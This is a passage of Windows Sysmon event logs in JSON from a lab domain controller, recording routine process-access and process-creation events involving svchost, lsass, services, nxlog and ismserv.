11:49:56.281","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1082,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.281\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.281","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1083,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.281\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.281","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1084,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.281\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.281","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1085,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.281\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.281","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1086,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.281\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.281","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1087,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.294\r\nProcessGuid: {90617006-3FE4-5F2D-0000-0010320F0200}\r\nProcessId: 2504\r\nImage: C:\\Program Files (x86)\\nxlog\\nxlog.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files (x86)\\nxlog\\nxlog.exe\" -c \"C:\\Program Files (x86)\\nxlog\\conf\\nxlog.conf\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=EDE0FA11A10EF649A05AC992D0231673,SHA256=B66FA8592904D8502747C78C79D5B3E86C9ED7383A8159209BB2740BB92070EC,IMPHASH=517158273EC1C6D5E65120E91DD2284A\r\nParentProcessGuid: {90617006-3FD2-5F2D-0000-00101D530000}\r\nParentProcessId: 852\r\nParentImage: C:\\Windows\\System32\\services.exe\r\nParentCommandLine: C:\\Windows\\system32\\services.exe","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.294","ProcessGuid":"{90617006-3FE4-5F2D-0000-0010320F0200}","Image":"C:\\Program Files (x86)\\nxlog\\nxlog.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files (x86)\\nxlog\\nxlog.exe\" -c \"C:\\Program Files (x86)\\nxlog\\conf\\nxlog.conf\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=EDE0FA11A10EF649A05AC992D0231673,SHA256=B66FA8592904D8502747C78C79D5B3E86C9ED7383A8159209BB2740BB92070EC,IMPHASH=517158273EC1C6D5E65120E91DD2284A","ParentProcessGuid":"{90617006-3FD2-5F2D-0000-00101D530000}","ParentProcessId":"852","ParentImage":"C:\\Windows\\System32\\services.exe","ParentCommandLine":"C:\\Windows\\system32\\services.exe","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1088,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.281\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1108\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010320F0200}\r\nTargetProcessId: 2504\r\nTargetImage: C:\\Program Files (x86)\\nxlog\\nxlog.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\services.exe+12bee|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.281","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1108","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010320F0200}","TargetProcessId":"2504","TargetImage":"C:\\Program Files (x86)\\nxlog\\nxlog.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\services.exe+12bee|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1089,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.294\r\nProcessGuid: {90617006-3FE4-5F2D-0000-00103B0F0200}\r\nProcessId: 2700\r\nImage: C:\\Windows\\System32\\ismserv.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows NT Intersite Messaging Service\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: ismserv.exe\r\nCommandLine: C:\\Windows\\System32\\ismserv.exe\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=39F0EC2CAE7FF38BABDDE2252ACCEA67,SHA256=29BDF4D2040D24E02B830A272D02CF29F19FD4E1A0F54F22BCC76301A0BFD26F,IMPHASH=088F7CD1DAA87B8E05239EDAB00479BB\r\nParentProcessGuid: {90617006-3FD2-5F2D-0000-00101D530000}\r\nParentProcessId: 852\r\nParentImage: C:\\Windows\\System32\\services.exe\r\nParentCommandLine: C:\\Windows\\system32\\services.exe","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.294","ProcessGuid":"{90617006-3FE4-5F2D-0000-00103B0F0200}","Image":"C:\\Windows\\System32\\ismserv.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows NT Intersite Messaging Service","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"ismserv.exe","CommandLine":"C:\\Windows\\System32\\ismserv.exe","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=39F0EC2CAE7FF38BABDDE2252ACCEA67,SHA256=29BDF4D2040D24E02B830A272D02CF29F19FD4E1A0F54F22BCC76301A0BFD26F,IMPHASH=088F7CD1DAA87B8E05239EDAB00479BB","ParentProcessGuid":"{90617006-3FD2-5F2D-0000-00101D530000}","ParentProcessId":"852","ParentImage":"C:\\Windows\\System32\\services.exe","ParentCommandLine":"C:\\Windows\\system32\\services.exe","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 